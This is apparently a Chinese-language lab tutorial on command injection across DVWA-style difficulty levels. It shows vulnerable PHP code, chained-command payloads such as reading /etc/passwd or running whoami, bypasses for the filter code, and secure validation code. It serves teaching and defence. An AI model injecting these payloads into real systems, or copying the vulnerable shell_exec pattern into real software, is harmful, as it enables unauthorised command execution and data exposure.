漏洞原理
命令执行漏洞:应用程序直接执行用户输入的系统命令
后端代码(Low级别)
php
<?php
if(isset($_POST['ip'])) {
$target = $_REQUEST['ip'];
// 判断操作系统
if(stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec('ping ' . $target);
} else {
$cmd = shell_exec('ping -c 4 ' . $target);
}
echo "<pre>{$cmd}</pre>";
}
?>
危险函数:
shell_exec()- 执行Shell命令exec()system()passthru()popen()
命令连接符
Windows环境
cmd
# & - 顺序执行
ping 127.0.0.1 & ipconfig
# && - 左边成功才执行右边
ping 127.0.0.1 && ipconfig
# | - 管道,将左边输出传递给右边
ping 127.0.0.1 | ipconfig
# || - 左边失败才执行右边
ping 127.0.0.1 || ipconfig
Linux环境
bash
# & - 并发执行(后台运行左边,立即执行右边)
ping 127.0.0.1 & cat /etc/passwd
# && - 左边成功才执行右边
ping 127.0.0.1 && cat /etc/passwd
# | - 管道(只执行右边)
ping 127.0.0.1 | cat /etc/passwd
# || - 左边失败才执行右边
ping 127.0.0.1 || cat /etc/passwd
实战攻击
Low级别
Payload:
127.0.0.1 & ipconfig
127.0.0.1 & mkdir test
127.0.0.1 & dir
效果:可以执行任意系统命令
攻击示例:
bash
# Windows环境
127.0.0.1 & net user # 查看用户
127.0.0.1 & whoami # 查看当前用户
# Linux环境
127.0.0.1 & cat /etc/passwd # 查看用户文件
127.0.0.1 & ls -la # 列出文件
Medium级别
防护代码:
php
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
绕过方法:
127.0.0.1 & ipconfig # 单个&未被过滤
127.0.0.1 | ipconfig # 管道符未被过滤
问题:过滤不彻底,仅过滤了组合符号。
High级别
防护代码:
php
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', // 注意:管道符+空格
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
绕过方法:
127.0.0.1|ipconfig # 管道符后不加空格
漏洞分析 :过滤规则写成'| '(管道符+空格),不加空格可绕过。
Impossible级别(安全代码)
php
<?php
// 防护措施:
1. Token验证 - 防止CSRF
2. stripslashes() - 移除反斜杠
3. explode('.', $target) - 按点分割IP
4. 循环验证每段是否为数字
5. 范围检查 - 每段必须0-255
$octet = explode(".", $target);
if((is_numeric($octet[0])) &&
(is_numeric($octet[1])) &&
(is_numeric($octet[2])) &&
(is_numeric($octet[3])) &&
($octet[0] <= 255) &&
($octet[1] <= 255) &&
($octet[2] <= 255) &&
($octet[3] <= 255)) {
// 执行ping命令
}
?>
防护思路:
- 白名单验证:只允许合法IP格式
- 严格类型检查:每段必须是数字
- 范围限制:0-255之间
- Token机制:防止脚本自动化攻击
防护建议
最佳实践:
- 避免直接执行系统命令
- 使用白名单验证
- 参数化处理
- 最小权限运行
php
// 不安全
$cmd = shell_exec("ping " . $_POST['ip']);
// 安全方式
$ip = $_POST['ip'];
if(filter_var($ip, FILTER_VALIDATE_IP)) {
$cmd = shell_exec("ping " . escapeshellarg($ip));
}